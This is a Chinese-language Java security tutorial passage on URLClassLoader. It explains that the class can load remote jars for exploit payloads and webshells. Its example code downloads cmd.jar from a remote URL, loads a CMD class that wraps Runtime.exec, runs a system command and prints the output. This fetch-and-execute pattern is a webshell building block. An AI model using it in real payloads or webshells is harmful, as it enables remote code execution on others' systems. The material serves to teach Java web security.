URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。
TestURLClassLoader.java示例:
import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.net.URL;import java.net.URLClassLoader;/*** Creator: yz* Date: 2019/12/18*/public class TestURLClassLoader {public static void main(String[] args) {try {// 定义远程加载的jar路径URL url = new URL("https://javaweb.org/tools/cmd.jar");// 创建URLClassLoader对象,并加载远程jar包URLClassLoader ucl = new URLClassLoader(new URL[]{url});// 定义需要执行的系统命令String cmd = "ls";// 通过URLClassLoader加载远程jar包中的CMD类Class cmdClass = ucl.loadClass("CMD");// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);// 获取命令执行结果的输入流InputStream in = process.getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] b = new byte[1024];int a = -1;// 读取命令执行结果while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}// 输出命令执行结果System.out.println(baos.toString());} catch (Exception e) {e.printStackTrace();}}}
远程的cmd.jar中就一个CMD.class文件,对应的编译之前的代码片段如下:
import java.io.IOException;/*** Creator: yz* Date: 2019/12/18*/public class CMD {public static Process exec(String cmd) throws IOException {return Runtime.getRuntime().exec(cmd);}}
程序执行结果如下:
README.mdgitbookjavaweb-sec-sourcejavaweb-sec.imljnipom.xml
